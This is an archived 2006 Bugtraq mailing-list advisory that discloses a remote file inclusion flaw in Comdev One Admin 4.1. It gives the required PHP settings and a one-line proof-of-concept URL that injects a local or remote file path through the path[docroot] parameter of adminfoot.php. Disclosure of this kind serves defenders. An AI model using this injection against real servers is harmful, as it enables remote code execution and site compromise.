Comdev One Admin 4.1 Remote File Inclusion

To: full-disclosure@xxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
Subject: Comdev One Admin 4.1 Remote File Inclusion
From: disfigure <disfigure@xxxxxxxxx>
Date: Tue, 17 Oct 2006 21:50:03 -0500
Domainkey-signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=eM8ReJWm+tTavobkzhaEkg4u/LWu2/cYuBKXC3k2ilARKYLyZvfq3a/72QdgEp0CJ9+MSthktAk7mFHYu+kSsryYye//Lc39fNQHoRdVxuNeWPs1CxNm6Qkhmgs5d3YhGhprToXFXmRTfipZmuMmvt7lIZOlTGaPab6tfE8LnWs=
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

/****************************************/

http://www.w4cking.com

CREDIT:
w4ck1ng.com

PRODUCT:
Comdev One Admin 4.1
http://www.comdevweb.com/oneadmin.php

VULNERABILITY:
Remote File Inclusion

NOTES:
- requires register globals on
- requires magic quotes off

POC:
<host>/<path>/oneadmin/adminfoot.php?path[docroot]=<local/remote file>

ADVISORY & EXPLOIT (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1491

/****************************************/

Prev by Date: Re: phpAdsNew include bug!
Next by Date: Boonex Dolphin 5.2 Remote File Inclusion
Previous by thread: [ MDKSA-2006:185 ] - Updated php packages to address multiple vulnerabilities
Next by thread: Boonex Dolphin 5.2 Remote File Inclusion
Index(es):
- Date
- Thread